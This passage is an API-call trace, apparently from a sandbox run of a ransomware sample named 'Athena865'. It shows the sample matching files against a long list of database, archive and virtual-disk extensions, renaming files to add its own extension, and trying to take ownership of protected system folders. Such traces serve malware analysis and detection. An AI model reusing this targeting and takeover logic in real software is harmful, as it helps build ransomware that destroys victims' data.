(lpString="dbt") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.409] lstrlenW (lpString="dbv") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.409] lstrlenW (lpString="dbx") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.409] lstrlenW (lpString="dcb") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.409] lstrlenW (lpString="dct") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.409] lstrlenW (lpString="dcx") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.409] lstrlenW (lpString="ddl") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.409] lstrlenW (lpString="dlis") returned 4 [0035.409] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.409] lstrlenW (lpString="dp1") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.409] lstrlenW (lpString="dqy") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.409] lstrlenW (lpString="dsk") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.410] lstrlenW (lpString="dsn") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.410] lstrlenW (lpString="dtsx") returned 4 [0035.410] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.410] lstrlenW (lpString="dxl") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.410] lstrlenW (lpString="eco") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.410] lstrlenW (lpString="ecx") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.410] lstrlenW (lpString="edb") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.410] lstrlenW (lpString="epim") returned 4 [0035.410] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.410] lstrlenW (lpString="fcd") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.410] lstrlenW (lpString="fdb") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.410] lstrlenW (lpString="fic") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.410] lstrlenW (lpString="flexolibrary") returned 12 [0035.410] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.410] lstrlenW (lpString="fm5") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.410] lstrlenW (lpString="fmp") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.410] lstrlenW (lpString="fmp12") returned 5 [0035.410] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.410] lstrlenW (lpString="fmpsl") returned 5 [0035.410] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.410] lstrlenW (lpString="fol") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.410] lstrlenW (lpString="fp3") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.410] lstrlenW (lpString="fp4") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.410] lstrlenW (lpString="fp5") returned 3 [0035.410] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.411] lstrlenW (lpString="fp7") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.411] lstrlenW (lpString="fpt") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.411] lstrlenW (lpString="frm") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.411] lstrlenW (lpString="gdb") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.411] lstrlenW (lpString="gdb") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.411] lstrlenW (lpString="grdb") returned 4 [0035.411] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.411] lstrlenW (lpString="gwi") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.411] lstrlenW (lpString="hdb") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.411] lstrlenW (lpString="his") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.411] lstrlenW (lpString="ib") returned 2 [0035.411] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.411] lstrlenW (lpString="idb") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.411] lstrlenW (lpString="ihx") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.411] lstrlenW (lpString="itdb") returned 4 [0035.411] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.411] lstrlenW (lpString="itw") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.411] lstrlenW (lpString="jet") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.411] lstrlenW (lpString="jtx") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.411] lstrlenW (lpString="kdb") returned 3 [0035.411] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.411] lstrlenW (lpString="kexi") returned 4 [0035.411] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.411] lstrlenW (lpString="kexic") returned 5 [0035.411] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.411] lstrlenW (lpString="kexis") returned 5 [0035.412] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.412] lstrlenW (lpString="lgc") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.412] lstrlenW (lpString="lwx") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.412] lstrlenW (lpString="maf") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.412] lstrlenW (lpString="maq") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.412] lstrlenW (lpString="mar") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.412] lstrlenW (lpString="marshal") returned 7 [0035.412] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.412] lstrlenW (lpString="mas") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.412] lstrlenW (lpString="mav") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.412] lstrlenW (lpString="maw") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.412] lstrlenW (lpString="mdbhtml") returned 7 [0035.412] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.412] lstrlenW (lpString="mdn") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.412] lstrlenW (lpString="mdt") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.412] lstrlenW (lpString="mfd") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.412] lstrlenW (lpString="mpd") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.412] lstrlenW (lpString="mrg") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.412] lstrlenW (lpString="mud") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.412] lstrlenW (lpString="mwb") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.412] lstrlenW (lpString="myd") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.412] lstrlenW (lpString="ndf") returned 3 [0035.412] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.413] lstrlenW (lpString="nnt") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.413] lstrlenW (lpString="nrmlib") returned 6 [0035.413] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.413] lstrlenW (lpString="ns2") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.413] lstrlenW (lpString="ns3") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.413] lstrlenW (lpString="ns4") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.413] lstrlenW (lpString="nsf") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.413] lstrlenW (lpString="nv") returned 2 [0035.413] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.413] lstrlenW (lpString="nv2") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.413] lstrlenW (lpString="nwdb") returned 4 [0035.413] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.413] lstrlenW (lpString="nyf") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.413] lstrlenW (lpString="odb") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.413] lstrlenW (lpString="odb") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.413] lstrlenW (lpString="oqy") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.413] lstrlenW (lpString="ora") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.413] lstrlenW (lpString="orx") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.413] lstrlenW (lpString="owc") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.413] lstrlenW (lpString="p96") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.413] lstrlenW (lpString="p97") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.413] lstrlenW (lpString="pan") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.413] lstrlenW (lpString="pdb") returned 3 [0035.413] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.414] lstrlenW (lpString="pdm") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.414] lstrlenW (lpString="pnz") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.414] lstrlenW (lpString="qry") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.414] lstrlenW (lpString="qvd") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.414] lstrlenW (lpString="rbf") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.414] lstrlenW (lpString="rctd") returned 4 [0035.414] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.414] lstrlenW (lpString="rod") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.414] lstrlenW (lpString="rodx") returned 4 [0035.414] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.414] lstrlenW (lpString="rpd") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.414] lstrlenW (lpString="rsd") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.414] lstrlenW (lpString="sas7bdat") returned 8 [0035.414] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.414] lstrlenW (lpString="sbf") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.414] lstrlenW (lpString="scx") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.414] lstrlenW (lpString="sdb") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.414] lstrlenW (lpString="sdc") returned 3 [0035.414] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.414] lstrlenW (lpString="sdf") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.415] lstrlenW (lpString="sis") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.415] lstrlenW (lpString="spq") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.415] lstrlenW (lpString="te") returned 2 [0035.415] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.415] lstrlenW (lpString="teacher") returned 7 [0035.415] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.415] lstrlenW (lpString="tmd") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.415] lstrlenW (lpString="tps") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.415] lstrlenW (lpString="trc") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.415] lstrlenW (lpString="trc") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.415] lstrlenW (lpString="trm") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.415] lstrlenW (lpString="udb") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.415] lstrlenW (lpString="udl") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.415] lstrlenW (lpString="usr") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.415] lstrlenW (lpString="v12") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.415] lstrlenW (lpString="vis") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.415] lstrlenW (lpString="vpd") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.415] lstrlenW (lpString="vvv") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.415] lstrlenW (lpString="wdb") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.415] lstrlenW (lpString="wmdb") returned 4 [0035.415] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.415] lstrlenW (lpString="wrk") returned 3 [0035.415] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.416] lstrlenW (lpString="xdb") returned 3 [0035.416] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.416] lstrlenW (lpString="xld") returned 3 [0035.416] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.416] lstrlenW (lpString="xmlff") returned 5 [0035.416] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.416] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.416] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.416] GetLastError () returned 0x5 [0035.416] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.416] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.416] SetEntriesInAclW () returned 0x0 [0035.416] SetNamedSecurityInfoW () returned 0x5 [0035.416] SetNamedSecurityInfoW () returned 0x5 [0035.416] LocalFree (hMem=0x529490) returned 0x0 [0035.416] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.416] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.416] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcce [0035.416] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.417] CloseHandle (hObject=0x154) returned 1 [0035.417] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.417] CloseHandle (hObject=0x0) returned 0 [0035.417] CloseHandle (hObject=0x0) returned 0 [0035.417] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x40efeae0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x40efeae0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x7f6a6ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xdd98000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9D3B9~1")) returned 1 [0035.417] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.417] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.417] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.418] lstrlenW (lpString="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.418] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.418] lstrlenW (lpString="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.418] lstrlenW (lpString="Athena865") returned 9 [0035.418] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.418] lstrlenW (lpString=".dll") returned 4 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.418] lstrlenW (lpString=".lnk") returned 4 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.418] lstrlenW (lpString=".ini") returned 4 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.418] lstrlenW (lpString=".sys") returned 4 [0035.418] lstrcmpiW (lpString1="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.418] lstrlenW (lpString="{9625bc84-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.418] lstrlenW (lpString="bak") returned 3 [0035.418] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.418] lstrlenW (lpString="ba_") returned 3 [0035.418] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.418] lstrlenW (lpString="dbb") returned 3 [0035.418] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.418] lstrlenW (lpString="vmdk") returned 4 [0035.418] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.418] lstrlenW (lpString="rar") returned 3 [0035.418] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.418] lstrlenW (lpString="zip") returned 3 [0035.418] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.418] lstrlenW (lpString="tgz") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.419] lstrlenW (lpString="vbox") returned 4 [0035.419] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.419] lstrlenW (lpString="vdi") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.419] lstrlenW (lpString="vhd") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.419] lstrlenW (lpString="vhdx") returned 4 [0035.419] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.419] lstrlenW (lpString="avhd") returned 4 [0035.419] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.419] lstrlenW (lpString="db") returned 2 [0035.419] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.419] lstrlenW (lpString="db2") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.419] lstrlenW (lpString="db3") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.419] lstrlenW (lpString="dbf") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.419] lstrlenW (lpString="mdf") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.419] lstrlenW (lpString="mdb") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.419] lstrlenW (lpString="sql") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.419] lstrlenW (lpString="sqlite") returned 6 [0035.419] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.419] lstrlenW (lpString="sqlite3") returned 7 [0035.419] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.419] lstrlenW (lpString="sqlitedb") returned 8 [0035.419] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.419] lstrlenW (lpString="xml") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.419] lstrlenW (lpString="$er") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.419] lstrlenW (lpString="4dd") returned 3 [0035.419] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.419] lstrlenW (lpString="4dl") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.420] lstrlenW (lpString="^^^") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.420] lstrlenW (lpString="abs") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.420] lstrlenW (lpString="abx") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.420] lstrlenW (lpString="accdb") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.420] lstrlenW (lpString="accdc") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.420] lstrlenW (lpString="accde") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.420] lstrlenW (lpString="accdr") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.420] lstrlenW (lpString="accdt") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.420] lstrlenW (lpString="accdw") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.420] lstrlenW (lpString="accft") returned 5 [0035.420] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.420] lstrlenW (lpString="adb") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.420] lstrlenW (lpString="adb") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.420] lstrlenW (lpString="ade") returned 3 [0035.420] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.420] lstrlenW (lpString="adf") returned 3 [0035.420] 